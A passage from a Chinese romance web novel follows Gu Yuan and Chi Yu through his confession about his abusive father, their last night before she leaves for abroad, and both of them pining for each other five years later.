顾鸢想起那天好像下雨了，所以、那把伞是迟瑜塞给她的。
顾鸢眼睫轻颤，心脏像是捏住了一样，有一瞬的停滞。
顾鸢一张一张地翻，一开始都是一些背影照，到了后来是她的侧脸照，有晚自习做题的，有课间趴在桌子上睡觉的，有她去讲台上说话的……
还有一些是在疗养院的，有一些是路上的，有一些是图书馆的……
等顾鸢翻完照片，怔了一会儿都没有反应。
“怎么了？”迟瑜拿了一个棉花糖递到顾鸢眼前，“吃完再带你去个地方。”
顾鸢敛眸，把手机还给迟瑜，视线落在他的手上，“你怎么没给自己买？”
“我不爱吃甜的。”迟瑜淡淡地说完，牵着顾鸢的手站起来，蓦地俯身靠近她，眼睫垂下，“真要跟我走？”
顾鸢盯着他看了须臾，点头，“走吧。”
也不是顾鸢不害怕，顾鸢知道迟瑜不是乱来的人，她相信他。
吃完棉花糖，顾鸢戴好头盔坐上后座。
迟瑜接了一个电话，没说几句就挂了，回来帮顾鸢扶了扶头盔，变魔术似的拿出一件外套给顾鸢。
“先穿上，等会儿可能会冷。”
顾鸢把衣服穿好，留了拉链没拉，看迟瑜坐好了，双手自动抱住他。
“我好了，走吧。”
路灯都亮了起来，夜里的城市依然喧嚣，顾鸢抱紧迟瑜，轻轻问了一声，“你不冷吗？”
迟瑜简扼道：“我热。”
“你穿的短袖热什么，而且骑车的话风吹过来不是应该很凉吗？”顾鸢说着手掌贴在迟瑜身上，若有所思道：“你身上好像是有点热。”
迟瑜：“……别摸。”
顾鸢：“？”
……
停好车，迟瑜带着顾鸢走到了一个小山坡上。
顾鸢把衣服拉链拉好，抱着膝盖坐下，迟瑜抬起她的下巴，笑道：“草有什么好看的，抬头看。”
“嗯？……这是……”顾鸢怔住，“好漂亮，你是怎么知道这个地方的？”
迟瑜僵了几秒，嗓音有些虚，“以前逃课出来玩的时候发现的。”
“逃课？晚自习吗，来这儿做什么？”顾鸢有些纳闷，“你们来看风景？”
迟瑜的嗓音更虚了，半晌吐出两个字，“喝酒。”
顾鸢抿唇，盯着他看了须臾，转身扭头坐好。
迟瑜往顾鸢那边挪了挪，“生气了？”
“没有。”顾鸢停顿了几秒，说道：“不过我能知道你以前为什么要逃课去喝酒吗？”
迟瑜轻叹了口气，瞳眸渐淡，“我跟你说过，我爸在我五岁的时候就走了，但更准确地说，他是跑了。”
顾鸢偏眸看过来。
迟瑜继续说道：“我妈妈大学毕业就被迫和我爸结婚了，因为他愿意出五万的彩礼，而我舅舅正好需要这笔钱娶老婆。我爸有一间铺面，婚后我妈妈把它弄成了饭馆，我妈妈手艺好，饭馆的生意也好，那个时候家里也过的富裕。后来我出生，印象中我妈妈要忙到很晚才会带着我从饭馆回家，而我爸回家的更晚，很多时候都是喝醉了，然后就打我妈妈，第二天他就会跪下来求我妈妈原谅，晚上又是喝醉，又打，醒来又跪。”
顾鸢捏住迟瑜的手，无声安慰着他。
迟瑜笑了下，“或许是老天有眼，后来他染上了赌，被人催债，还不起就跑了。”
“可是你爸跑了，那些人没有去找你们吗？”顾鸢虽然没有遇到过，但也知道当父亲的跑了，催债的人就会找妻子要钱。
“所以我说老天有眼。”迟瑜伸手揽住顾鸢的肩膀，笑道：“催债的人来了之后，我妈妈明确表示在我出生后他们就离婚了，而赌债是我爸离婚之后欠下的，所以钱不用我们还。”
“阿姨应该是早就看出来了，所以一早就做了打算。”顾鸢心疼地抱住他，“都过去了。”
迟瑜扯了扯嘴角，把脑袋埋在顾鸢的肩窝里，“也可以这么说，但我爸之所以愿意离婚，是因为饭馆一直在他名下，我妈妈相当于给他打工，而且每个月必须要给他一笔钱，他之所以打我妈妈，就是为了要钱。”
顾鸢唇线僵直，抱紧他说道：“所以他宣告死亡后你继承了饭馆，而你救云清出了事，阿姨又把饭馆卖了。”
“是。”迟瑜把脑袋在顾鸢身上蹭了蹭，嗓音低沉，“我爸走后，我妈妈就更忙了，结果在我十岁的时候我妈妈生了病钱也花光了，还好有个好心人帮忙，我妈妈这才好了起来。”
顾鸢抬起脑袋，眉目带笑，“阿姨的福气还在后头，你现在这么棒，她一定很欣慰。”
迟瑜忽地笑了下，“还好，我妈对我的管教一直是放养为主，只要品行不出问题，都是随便我造次。”
“阿姨这么好。”顾鸢有一丢丢的羡慕，“姜女士管我可严厉了，老顾、他还好。”
“所以啊。”迟瑜长长地吁了口气，“我就开始跟着同学逃课喝酒了，另一方面，我也是想试试这东西喝了真的会变成畜生吗。”
“那会吗？”顾鸢眼眸亮晶晶地看着他。
“不会。”迟瑜肯定道：“除非他本来就是一个畜生。”
顾鸢点了点脑袋，“那你上次装醉的事……”
“我错了。”迟瑜认错的态度很快，转而又道：“我就是有点不开心，那个陈哲明早就喜欢你，那天你们在一起跳舞，他分明就看到我了，还故意挑衅。”
“哦——”
顾鸢松开他坐好，视线带着打量，“所以那个时候给我桌子上放牛奶的人是陈哲明？”
迟瑜神色僵硬，“你怎么知道的？”
“猜的。”顾鸢唇角的笑更大了，“本来是想诈一诈你，结果还真是。”
迟瑜：“……他再没找你吧？”
顾鸢歪着头凑近他，“如果有呢？”
迟瑜按着她的后颈堵住她的嘴巴，顾鸢呜咽一声，脖子往后仰。
迟瑜又咬又啃，顾鸢被他弄得不舒服，手掌抵在他的肩膀处，嗓音带了几分怒气，“迟瑜！”
闻言迟瑜退开些许，两人的脑袋还抵在一起。
顾鸢的胸膛快速起伏，不满的控诉他，“你弄疼我了，再这样以后别亲了。”
“不行。”迟瑜当即拒绝，“明明是你先故意，我发现你脾气还挺大。”
顾鸢推开他，“那你去找个温柔的。”
良久，迟瑜都没有出声。
顾鸢迟疑地转过头，迟瑜目光沉沉地看着她，顾鸢心底一颤。
迟瑜移开视线，拉着顾鸢站起来，“送你回家。”
回去的路上，两人依旧一言不发。
顾鸢抿唇，也不抱他了，拿着手机给姜煦庭回了几条消息。
迟瑜在一家便利店前停下车，顾鸢没做理会，正在低头看手机，有几个人走了过来。
顾鸢
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抬起眼睫看了眼，有点眼熟。
虽然想不起来是谁，但一看就不是好人。
为首的一个男的刚伸出手，嘴巴里就冒出了一个妹字，顾鸢擒住他的手腕，咔擦一声，清晰的骨头断掉的声音响起。
那人一时间都没有反应过来，后知后觉才疼的叫了起来。
其他三个人看到了，先是愣了几秒，然后一拥而上。
顾鸢沉着脸挽起衣袖，本来心情就不好，正是赶上时候了。
迟瑜出来的时候，瞳孔紧缩，大步走到顾鸢面前，说话的声音都在发抖，“怎么样，有没有受伤？”
顾鸢愣了下，摇头，“我没事，有事的是他们。”顾鸢说着指了指地上蜷缩着身体的四个人。
“报警了吗？”迟瑜问。
顾鸢摇头，“正准备拿手机你就出来了。”
这时角落里的抱着布丁的肖毅举起手走了出来，“我、我报了。”
肖毅简直不敢相信自己刚才看到了什么。
顾鸢就那样，这样，然后在一弄，那几个人就倒在地上痛苦的哀嚎了。
肖毅突然很为迟瑜的将来担心，这胳膊腿怕是已经开始疼了吧。
等到警察来了解完情况，顾鸢饿的捂了捂肚子。
肖毅殷勤地说道：“顾姐你还没吃饭啊，前面有家烧烤不错，要不要过去？”
顾鸢点头，“好啊。”
顾鸢正要从肖毅怀里接过布丁，迟瑜先她一步把布丁拎走。
肖毅凑到顾鸢旁边悄悄说道：“你们吵架了？”
顾鸢抿唇，“不算吧。”
肖毅：“顾姐，其实迟哥他就是舍不得你，今天下午我们打球的时候他就心不在焉的。问句不该问的，顾姐，你会和迟哥分手吗？”
顾鸢沉默，迟瑜扭头淡声道：“布丁饿了，快点走。”
三个人坐在外面，点完吃的，顾鸢和布丁玩了一会儿，迟瑜依旧抱着布丁不放手。
肖毅早就受不了了，把徐百川和言酥他们都叫了个遍。
半个小时后，除了祁蓉和陈静因为太晚了家里人不同意，其他人都来了。
“好不容易高中毕业，今晚不醉不归。”江皓阳说着直接开了瓶酒，站起来仰头就喝。
徐百川也开了一瓶，陪他喝。
迟瑜离开了一会儿，来的时候拿了两大瓶椰奶和果汁。
“你喝这个。”迟瑜倒了杯椰奶放到顾鸢面前。
肖毅立马把杯子推过去，“我也不能喝酒，给我倒一杯呗。”
迟瑜盯着他看了几秒，还是给他倒了一杯。
江皓阳：“我也要。”
徐百川把杯子推到迟瑜面前。
迟瑜：“……叫爹。”
布丁：“喵~”
顾鸢紧抿着唇憋笑。
……
言酥凑到顾鸢耳边小声说道：“总感觉他们男生之间的辈分很乱。”
顾鸢：“我也觉得。”
顾鸢言酥和肖毅喝的椰奶和果汁，其他三个人喝的酒，迟瑜被徐百川和江皓阳灌了好几瓶。
顾鸢把睡着的布丁叫醒，布丁睡眼朦胧。
“喵~”
咋啦~
顾鸢挠了挠布丁的手心，布丁心领神会，爬到迟瑜怀里烦他。
迟瑜掀开眼帘，大掌胡乱揉着布丁的脑袋，布丁躲闪不过，只能抗议的喵叫。
“别烦你爹。”
“喵~”
“自己玩去。”
“喵~”
顾鸢把布丁抱起来给肖毅，“再麻烦你照顾一会儿。”
装睡的肖毅，“好的好的。”
迟瑜撩起眼皮，乌黑的眼在暗黄的灯线下更加深邃，顾鸢拿起两人的手机，“很晚了，你不是要送我回家。”
迟瑜撑着桌子站起来。
喝了酒肯定不能骑车，顾鸢拦了一辆出租车。
街道景色飞驰，霓虹一盏盏后退。
迟瑜闭着眼睛靠在后座，长睫在眼睑上投下一片阴影，侧脸线条流畅，薄唇轻轻抿着，唇色有些红。
手机又响了一声，姜煦庭又发来了消息。
【明天早上九点来接你，直接去机场】
顾鸢按灭手机，偏眸看向窗外。
到了小区门口，迟瑜挣开眼睛。
顾鸢轻声道：“有个东西给你，跟我上去拿。”
迟瑜点头，打开车门下车。
80. 离开
到家之后，顾鸢换上拖鞋往卧室走，“你先坐一会儿。”
迟瑜弯腰换好鞋，走到客厅的落地窗前，这会儿已经到了深夜，就连霓虹灯也带上了几分寂寥。
迟瑜捏着手机，低垂的眸眼神色暗淡。
陈哲明在医院问过他，和顾鸢在一起不会自卑吗？当时他说了什么呢，是，自卑。
在喜欢的人面前，总会觉得自己做的不够好。
顾鸢是那么优秀的天之娇女，而他是个不学无术的问题学生。他连跟她说话她都不敢，怎么不自卑。
可他就是不想放弃。
迟瑜从衣兜里掏了掏，想到什么，转身往卫生间走。
等迟瑜从卫生间出来，客厅里还是空荡荡的，凝了凝神，迟瑜去敲顾鸢卧室的门。
叩叩叩——
“顾鸢？”
“顾鸢？”
迟瑜叫了好几声顾鸢都没有应，迟瑜眸色一变，正打算推门，顾鸢把门打开了。
“怎么不出声？”
迟瑜上下打量着她，按着她的肩膀转了一圈。
顾鸢的语气有些不自然，“我和边秣打了一个电话，可能没听到。”
迟瑜收回手，视线在房间里巡视，最后落在顾鸢的脸上。
“浅浅？”
“啊？”
迟瑜垂眸，嗓音低沉，“你说话的时候会扣手指。”
顾鸢下意识把手背到身后，“就是打了一个电话，你是有事吗？”
“没有，我来看看你到底是要给我什么东西。”迟瑜说罢自顾自地往梳妆台看去，“没找到吗，要不我帮你找？”
“不用。”顾鸢说着去推迟瑜，“你再等一会儿，要是饿了冰箱里有吃的，等我找到就拿给你了。”
迟瑜慢慢收回目光，嗓音淡淡，“好。”
关上门，顾鸢几步走到床前掀开被子。
盒子里装着的是一个深蓝色的马克水杯。
顾鸢走到窗户前往外看，乌云有些重，月亮被遮盖的严严实实，打开手机看了眼，马上十二点了。
客厅，迟瑜大刺刺地坐着，茶几上放着从冰箱里拿出来的微醺，还是下午四个女生吃火锅没喝完剩下的。
直到一局游戏打完，顾鸢才提着袋子慢吞吞地出来。
余光瞥了眼还没有喝完的那瓶微醺，顾鸢拿起来就喝，迟瑜拦都没拦住。
“你……”
“怎么了？”顾鸢眨眨眼，神色无辜，殷红的唇上还有水渍。
迟瑜眉心一跳，“时间不早了，我先回去了。”
迟瑜说完就去拿茶几上的袋子，顾鸢先他一步拿到身后。
迟瑜深吸了口气，眸色渐沉，“想干什么？”
顾鸢抿唇，“这个时间太晚了，你一个人回家不安全。”
迟瑜笑了出来，“我怎么觉得在你这儿也不安全。”
顾鸢神色微闪，一瞬后恢复如常，“是真的，马上要下雨了，你出去了也不好打车。要是你觉得不方便，可以去曹老师家借住一晚，或者我去找祁蓉。”
迟瑜的视线紧紧地落在顾鸢脸上。
所以到底是什么意思，磨蹭了一个小时，也不是留他。
突然客厅的灯闪了一下就灭了，窗外的雷声的闷闷的砸下来。
迟瑜立马抱住顾鸢，手掌抚在她的后背，嗓音温沉，“别怕，应该是线路出了问题，你看一下业主群里停电的人多不多。”
顾鸢轻轻应了声，坐在沙发上打开手机，果然业主群里都是说停电的事。
“物业说是线路出了问题，他们已经在检查了，可能要等一会儿。”
迟瑜倚在沙发上没有说话，房间里一片漆黑，只有手机屏幕发出的光亮映在脸上，看着莫名多了几分不明的意味。
顾鸢的眼神瞥过去，“你在回消息吗？”
“我妈，问我去哪儿了？”迟瑜嗓音淡淡，快速打了几个字发过去然后按灭手机。
顾鸢放在膝盖上的手指攥紧，心里有些打鼓。
“那你是、怎么说的？”
迟瑜拉着她的手腕把人带到身边，嗓音蓦地低沉，“不是怕黑，坐那么远干什么？”
“没什么，我就是有点热？”顾鸢说着抬手扇了扇，企图把脸上的热意都扇掉。
迟瑜扫了眼桌子上空掉的瓶子，拿上杯子起身，“我去给你倒水。”
顾鸢的眼神逐渐迷离，踢掉脚上的拖鞋盘腿坐在沙发上。
迟瑜端着水过来的时候顾鸢正拿着他的手机玩游戏，组队的还是徐百川他们几个。
江皓阳：“迟哥这走位有点不一样啊”
肖毅：“新战术？”
徐百川：“换人了吧”
又干掉一个人，顾鸢把手机还给迟瑜，话语里充满嫌弃，“给你，他们好菜。”
迟瑜看了眼手机，意外地挑眉，“确实菜。”
两人都没注意到顾鸢开了语音。
手机的那边的几人：卧槽！！！
顾鸢捧着水杯喝完，挤到迟瑜旁边坐下，诚恳点评，“你的队友也不怎么样？”
迟瑜笑道：“你说得对。”
顾鸢盯着迟瑜的脸看了好一会儿，突然把脑袋埋在他脖子里，就这么安静地抱着他。
良久，迟瑜胳膊都有些酸了，江皓阳的语音电话打了过来。
迟瑜腾出一只手接通。
“卧槽你俩怎么回事，这都什么时候了，还在一起，你……”
迟瑜挂断电话，低眸看着女生白里透红的小脸，抬手轻轻拂开她脸颊上的碎发。
窗外的雨滴劈里啪啦砸在玻璃上，客厅的空调重新运作。
顾鸢觉得有些冷，自然地往身边的人靠近，迟瑜掀开眼帘，眼神逐渐清明。
顾鸢也察觉到了不对劲，慢慢睁开眼睛，大脑里思绪慢慢回笼，意识回归，她正要重新闭上眼睛，头顶突然想起一道低哑的声音。
“醒了？”
顾鸢扶着额头起身坐直，“不好意思，我是……”
迟瑜扣住她的双肩，视线灼灼地落下来，“你是什么？不小心喝多了？”
“喝了吗？”顾鸢眼眸明亮，没有半点醉意。
迟瑜盯着她看了半晌，最后化成一句，“胳膊有没有麻？”
顾鸢怔住，“没有。”
打开灯，迟瑜往洗手间走，顾鸢拿起手机看了眼，已经凌晨三点多了。
正要拿起茶几上的瓶子继续喝，身后蓦地窜出一只手把瓶子拿走。
顾鸢扭头，迟瑜当着她的面把那瓶酒喝完。
“你……”
顾鸢的话还没有说完，迟瑜扣住她的后颈吻落了下来。
顾鸢踮着脚搂住他的脖子把人往下带，迟瑜的胳膊撑在沙发上，瞳眸里的墨色翻涌，两人身上的温度不断攀升。
直到顾鸢的手伸进迟瑜的衣服里，他猛地将其按住，粗重的呼吸落在顾鸢耳后，“顾鸢，别乱来。”
顾鸢咬住他肩上的肉，迟瑜紧闭着双眼，手背上的青筋鼓起。
良久，顾鸢松开牙齿，循着他的唇又吻了上去。
在事情失控前，迟瑜将人按住，眼尾带了一抹红，眸色深得像漩涡，嗓音也哑的不像话，“宝宝，我不做畜生。”
顾鸢的眼神双手被禁锢在头顶，浓长的睫羽轻颤，
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眼眶里含着水雾，呼吸短促，胸膛上下起伏。
“迟瑜你就是怂……唔……”
迟瑜重重地吻着她，等顾鸢的眼神都变得迷离，他俯身凑到顾鸢的耳畔，语气慎重地说道：“我爱你，顾鸢。”
顾鸢心尖狠狠地一颤，眼泪不受控制地流了出来。
迟瑜把人扶着坐起来抱在怀里，温声哄着。
-
顾鸢醒来的时候是在卧室，她急忙跑了出去，客厅没有人，卫生间没有，厨房没有，客房也是空的。
门铃声响起，顾鸢垂下眼睑，机械般地去开门。
姜煦庭站在门口，看到她光着脚，弯腰从鞋柜里拿出拖鞋。
“收拾一下该走了。”
顾鸢愣愣地转身，随便拿了几件衣服装进行李箱。
去机场的路上，顾鸢脑袋玻璃看向外面，姜煦庭几次欲言又止。
要去安检的时候，顾鸢捏着手机站在原地迟迟没有动弹，直到微信提示音响了一声，是迟瑜发来的消息。
【礼物我拿走了，很喜欢，布丁吃醋了】
顾鸢咬着下唇，双目瞬间蓄满水汽。
姜煦庭拍了拍她的肩膀，温声道：“走吧，还会再见的。”
看着那道身影越走越远直到逐渐消失在眼前，迟瑜抱着布丁走了出来。
小布丁抬头看看爸爸，又伸长了爪子指着走远的妈妈，不停喵叫着。
“行了，你叫了也听不见。”迟瑜揉了揉它的脑袋，眼尾泛着明显的红。
“喵~”
布丁不听，拿爪子挠他。
-
晚上，烧烤店
迟瑜抱着布丁，垂着眼睫谁也不理会。
肖毅胳膊肘撞了下江皓阳，低声道：“你安慰几句啊。”
江皓阳抹了把脸，直言：“老子不会。”
徐百川踢了脚他的椅子，示意旁边还有女生，“小声点。”
江皓阳：“……要不给他灌酒吧，喝醉了就不难受了。”
肖毅：“……喝醉了才难受呢，迟哥到时候不会哭吧。”
半个小时后……
迟瑜拎着布丁的两只爪子，嗓音带了几丝委屈。
“你说，我们俩是不是被抛弃了。”
布丁：“喵～”
迟瑜：“她不要我了，也不要你了。”
布丁：“喵～”
迟瑜拎着布丁的爪子摇啊摇。
布丁不满地喵叫，眼神看向肖毅求助。
肖毅正要把布丁解救下来，迟瑜偏眸看向他。
肖毅立马坐正，“哥，咋啦？”
迟瑜把布丁丢他怀里，没什么感情地说道：“以后它跟着你。”
“女朋友都没了，还养什么猫。”
肖毅：“？”
布丁：“喵！？”
江皓阳把胳膊搭在迟瑜的椅子上，劝道：“不是，哥这可是你儿子，要是顾姐问起来你不怕她生气啊。顾鸢对布丁这么上心，你可得好好照顾它。”
迟瑜嗤笑，“她怎么就对我不上心呢？”
肖毅不怕死地说道：“这毕竟是顾姐的妈妈，要是在叶阿姨和顾姐之间选，你怎么选？”
徐百川一巴掌拍在肖毅胳膊上。
肖毅果断闭嘴。
迟瑜闭上眼睛靠在椅背上，嗓音低低的，“可是她连一个承诺都不给我。”
肖毅凑到录像的徐百川耳边小声嘀咕，“迟哥一直这么恋爱脑吗？”
江皓阳直言道：“王宝钏的野菜都要被他挖完了。”
肖毅惊呆。
徐百川慢悠悠地说道：“你不是看见了。”
81. 想他
顾鸢挂断姜煦庭的电话，继续收拾东西，室友靠在柜子上不舍得说道：“顾鸢，你真的不考虑回国吗？”
闻言顾鸢叠衣服的手顿住，就在她不知道要怎么回答的时候，秦瑶的手机响了，她边往出走边接电话。
“喂，宝宝，在收拾呢，你来接我啊……”
秦瑶出去带上了门，顾鸢坐在床边，从枕头下取出那个星星灯。
当时她收拾行李箱没有注意，等到了这边才发现箱子里多了一个盒子，顾鸢就知道肯定是迟瑜放的。
姜煦庭的电话又响了，顾鸢收回思绪，点了接通。
“稍等，马上就好了。”
姜煦庭坐在车里，手指没什么规律的打在方向盘上，“行，我在楼下。”
顾鸢把东西都收拾好，秦瑶帮她搬到下面。
姜煦庭帮忙把顾鸢的行李搬上车。
秦瑶拉着顾鸢的手说道：“顾鸢，别忘了常联系啊。”
顾鸢抱了抱她，“好，你也是，结婚的时候一定要叫我。”
秦瑶拍了拍她的后背，温声道：“一定，我就先上去了。”
“好，拜拜。”
和秦瑶告完别，顾鸢坐回车上。
“你打算休息多久？”
姜煦庭偏眸看了眼已经长大的表妹，心中有些触动。当初他带顾鸢回来的时候，一度以为顾鸢会消沉一段时间，但她不仅没有，而是很快投入状态，甚至将所有的精力都投入到学习和姜之遥身上。
顾鸢把胳膊肘搭在车窗上，已然成熟的脸上带了淡淡的疲惫，“休息一两个月再说吧，不着急。”
姜煦庭：“过段时间我要回去一趟，你要一起吗？”
“……回哪儿？”顾鸢侧眸，搭在窗边的手指微微攥紧。
姜煦庭犹豫了几秒，说：“我要去宁宜大学任教。”
“什么？”顾鸢双眸瞪大，“你要回宁宜当大学老师，这事舅舅舅妈知道吗？”
姜煦庭点头，“知道，他们表示同意。”
顾鸢盯着他看了好一会儿，才得出一个结论，“你该不会是为了追求喜欢的姑娘吧。”
“是。”姜煦庭回答的很快，末了又补充道：“这个人你也认识。”
顾鸢心中隐隐浮现出一个人影，“祁蓉？”
……
为了庆祝顾鸢毕业，韩淑怡一早就张罗着要为顾鸢准备一顿丰盛的家宴，就连在公司的姜温华也被早早叫了回来。
姜煦庭推着顾鸢的行李箱，视线不自在的往前面瞥，“浅浅，你会帮我的对吧。”
顾鸢扭头，“她有男朋友。”
姜煦庭：“她会分手。”
顾鸢再次义正言辞地说：“哥，你这样做不道德。”
姜煦庭充耳不闻，“我不会放弃的，而且这事关乎到你有没有嫂子，你应该站在我这边。”
顾鸢很想翻白眼，但想到姜煦庭这五年对她很好，顾鸢忍住了，“我会尊重祁蓉的意愿。”
姜煦庭还要说什么，顾鸢朝客厅的姜温华喊道：“舅舅，我妈妈和舅妈呢？”
姜温华放下手里的书，笑道：“回来了，快过来坐。”
姜煦庭把顾鸢的行李放回楼上，下来之后被韩淑怡叫去了餐厅。
韩淑怡小声问他，“浅浅怎么说？”
姜煦庭：“没说回还是不回，要不等会儿吃完饭您去问问？”
姜之遥敛下眼眸，“我去说吧，小庭你累了一路，去客厅休息会儿，晚饭很快就好了。”
“好，姑姑您也别有压力，她是个有主见的人，知道自己的路怎么走。”姜煦庭说着拿了一盘草莓往出走。
韩淑怡拍了拍姜之遥的肩膀，“浅浅会理解你的。”
……
吃完饭顾鸢就上楼了，刚洗完澡出来，门被敲响。
顾鸢走过去开门，“妈妈，您找我有什么事吗？”
姜之遥端着一盘切好的水果，“妈妈想找你说说话。”
顾鸢接过果盘侧身让她进来，“您是想说表哥去宁宜大学任教的事吗？”
“不是。”姜之遥拉着顾鸢坐下，抬手抚了抚顾鸢的脑袋，“妈妈想和你聊聊你的事。”
顾鸢稍怔，“我的事？”
“浅浅，你打算回宁宜吗？”
顾鸢愣了几秒钟，仔细观察着姜之遥的表情，缓缓说道：“您想回去吗？”
姜之遥握着顾鸢的手，说道：“妈妈都听你的。”
顾鸢垂下眼睫，说：“我想。”
“好。”姜之遥看着已经长大的女儿，眼眶泛红，“浅浅，以后不管你做什么，妈妈都支持。”
“那我要是把一个人绑了，再把他囚禁起来呢。”顾鸢的眼神十分平静，“您也支持吗？”
姜之遥怔住，视线紧紧落在顾鸢的脸上，似乎在断定她说的是真话还是假话。
顾鸢噗嗤一笑，“逗您的，我知道分寸。”
姜之遥试探着问：“你和那个男生，还有联系吗？”
顾鸢敛眸，视线不明，“我今天太累了，想先休息。”
“好。”姜之遥欲言又止地离开。
-
“今天晚上老地方，不见不散，你不来我就上你家逮你了。”
迟瑜正不厌其烦地把布丁丢出去，布丁又跑回来。
闻言嗤笑了声，懒散道：“江皓阳，你又被分手了？”
“不是，我就是放松，放松明白吗，懂吗？”江皓阳烦躁地挠了把头发，嗓音有几分颓意，“我就不明白了，她竟然说我技术不行，老子很厉害的好吗，她……”
迟瑜啪地一声挂断电话顺带拉黑，把布丁举到眼前，“你刚才什么也没听到，知道吗？”
布丁喵了一声，双腿扑棱着跳下去自己玩去了。
迟瑜往后躺在沙发上，五年时间，他已经完全蜕变，锐利的眉眼更冷了，脸部线条也多了几分凌厉，不说话的时候给人一种不敢靠近的感觉。
门铃声响了起来，迟瑜跻上拖鞋，慢吞吞地去开门。
凌熙诺站在门口，怀里抱着一只白色的小猫，细看之下和布丁是一个品种，她露着礼貌的微笑，“不好意思又打扰了，我们家的猫粮没有了，可以借点你家的吗？”
迟瑜淡声道：“抱歉，布丁护食。”
迟瑜说完就要关门。
凌熙诺用手挡住，嗓音带了几分怒意，“迟瑜，你一定要这样吗？”
“我怎么样？”迟瑜眉色渐冷，熟悉他的人就会知道他已经不耐烦了。
“就是因为我喜欢你，你就要这样羞辱我吗？”凌熙诺说着有些激动，“迟瑜，我知道你喜欢顾鸢，可是五年了，你还放不下吗？”
迟瑜扯了扯嘴角，脚抵着门靠在旁边的鞋柜上，双手环抱，“凌小姐，我们没分手，你这个行为代表了什么你不会不懂吧。”
“迟瑜！”凌熙诺的眼眶瞬间就红了，“你在说我是小三吗？你怎么能这么侮辱我？”
“你错了。”迟瑜冷声打断她的话，“我从来没有给过你任何回应，我也明确的拒绝过你不止一次。”
小三是有感情纠葛的，没有回应的只能叫单方面的喜欢。
“凌熙诺，人有两只眼睛，别总盯着一个地方。”迟瑜说完把门关上。
布丁跑过来拱了拱他的腿，迟瑜弯腰抱起它，“怎么？你有话说？”
“喵~”
“饿了？不是刚吃过。”
“喵！”
“困了？睡觉不会？”
布丁跳了下来，一路跑进迟瑜的卧室。
迟瑜没理它，回到沙发前拿起手机发了条消息。
突然，卧室里传来一声玻璃碎掉的声音，迟瑜连忙跑进去。
布丁趴在床头，脑袋埋的低低的，俨然一副做错事的模样。
迟瑜深吸一口去，走过去把它拎起来检查爪子，看到没有受伤才把它丢回去，冷声道：“自己去面壁。”
布丁不动，眼睛盯着地上的照片。
那是在榕西巷的家里，第一天带布丁过去的时候顾鸢和迟瑜还有布丁三个的照片。
迟瑜弯腰捡起照片，指腹不小心刮到碎片上，瞬间溢出殷红的血。
“喵~”布丁趴在床边叫了一声。
迟瑜捏着照片半晌没有回神，直到布丁爬到他身上。
“想她了？”
布丁软软地叫了一声。
迟瑜低笑一声，“她可未必想你。”
“喵！”
“实话听不得，怎么这么矫情，跟她一样。”
门铃声又响起来，迟瑜把照片放到床上，怕布丁踩到玻璃，拎着它去开门。
“怎么了，布丁又犯错了。”肖毅从他手里接过布丁，注意到他的手指在流血，“你快去洗洗，它弄得哪儿，我去收拾。”
“不用，你先坐。”迟瑜说完往卧室走。
肖毅点了点布丁的脑袋，“
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你就仗着他脾气好。”
把地上的玻璃收拾干净，迟瑜从冰箱里取了一瓶水给他，“这次休息几天？”
肖毅接过来喝了几口，往后一瘫，有气无力道：“休息一个月吧，正好想想新歌。而且老徐说他要向言酥求婚，我还想去凑热闹呢。”
话落肖毅放低了声音，“你什么打算？”
迟瑜无所谓地说道：“没什么打算？”
肖毅坐直了身体，“哥，这都五年了，你还没放下呢？”
迟瑜偏眸，视线一动不动地看着他。
肖毅：“……怎么了？”
迟瑜收回视线，嗓音淡淡地说道：“你知道布丁刚才干什么了吗？”
好好的说什么布丁，肖毅不理解，但还是问道：“干了什么？”
“去拿我们的照片，不小心相框碎了。”
肖毅沉默良久，最后拍了拍他的肩膀，“既然这样，你就不打算去找她。”
迟瑜嗤笑了声，扭头看过来的时候眼眶有些红，“她都不要我们了，我还去干什么？”
“不是……你别这样……”
在肖毅以前的认知里很难想象到迟瑜会有这样的时候，这几年大家都不敢在他面前提起顾鸢的名字，可大家也同样看的明白。迟瑜这是陷进去了，时间越久，陷得越深。
“我没事，你自己待会儿。”迟瑜说完起身往卧室走。
肖毅叹气。
……
晚上九点，迟瑜和肖毅姗姗来迟。
江皓阳不满地开了两瓶酒分别给他们两个，“你们俩这是把沿路的蚂蚁都踩死了吗？就没数一数一共多少只。”
肖毅：“你才去踩蚂蚁了。遇上堵车了。”
江皓阳一把夺下徐百川的手机，“我说你够了，能不能顾忌一下我？啊？能不能顾忌一下我？”
徐百川：“行，顾忌你，怎么你是想要我给你传输一下经验吗？”
“靠，我忍不了了，狗东西你真是不要脸。”江皓阳扯起一个抱枕就要往他头上套。
徐百川躲开，把肖毅推了过去。
“怎么？凌熙诺不会又去找你了吧？”徐百川胳膊肘撞了下迟瑜。
迟瑜点了根烟捏在指间，眉色淡淡，“没事，处理好了。”
徐百川点了点脑袋，慢悠悠地说道：“真没想到她这么执着，还不放弃。”
“执念罢了。”迟瑜吸了口烟，往后靠着椅背，眉色倦怠，浑身上下透着一股痞气。
进来送酒水的姑娘视线一直往他身上看。
迟瑜淡淡道：“已婚勿扰，谢谢。”
姑娘红着脸连忙跑了出去。
徐百川：“服气。”
“我说。”迟瑜偏眸，视线懒懒地扫过来，“你还是守点男德吧，上次的事要再来一次我也站言酥那边了。”
说起这个徐百川就头大，他走路走得好好，一个姑娘直直的就朝他倒了过来，他躲都躲不及，结果被言酥看见，两人冷战了好几个月。
“这辈子都不可能有。”徐百川拿了瓶酒给他，自己又拿了瓶，两人碰了一下，“我能问你一个问题吗？”
迟瑜：“问。”
“顾鸢要是不回来，你就一直这样？”
迟瑜没说话，拿起刚才的那瓶酒一饮而尽，就在徐百川以为他不回答的时候，迟瑜出声了，“她要是不来，我就去找她。”
徐百川：“敬你。”
四人喝到11点才走，言酥接走徐百川，江皓阳撒泼耍赖前女友才来了。
肖毅抱住迟瑜的胳膊不放手，“就咱俩孤家寡人的，你就收留我一晚吧。”
迟瑜打开手机叫他的助理，等人都走了，迟瑜才叫了代驾回了宜佳苑。
布丁早就睡了，迟瑜洗完澡，跻着拖鞋去了阳台。
在阳台上待了一整晚，地上堆满了烟头，迟瑜打开手机订了去美国的机票。
正好班级群里发了消息，6月24号晚上班级聚餐，要去的同学都在下面回复。
迟瑜划着消息，忽地看到一个头像也回了消息。
迟瑜不确定的退出来又进去看了好几次。
布丁早上起来没在卧室发现爸爸，睡眼朦胧地踱步到阳台。
迟瑜抓住它的爪子把布丁拎起来。
“喵！”布丁彻底醒了。
迟瑜丢下猫快步回了卧室。
布丁丈二和尚摸不着头脑，“喵~”
傻啦！
82. 留下
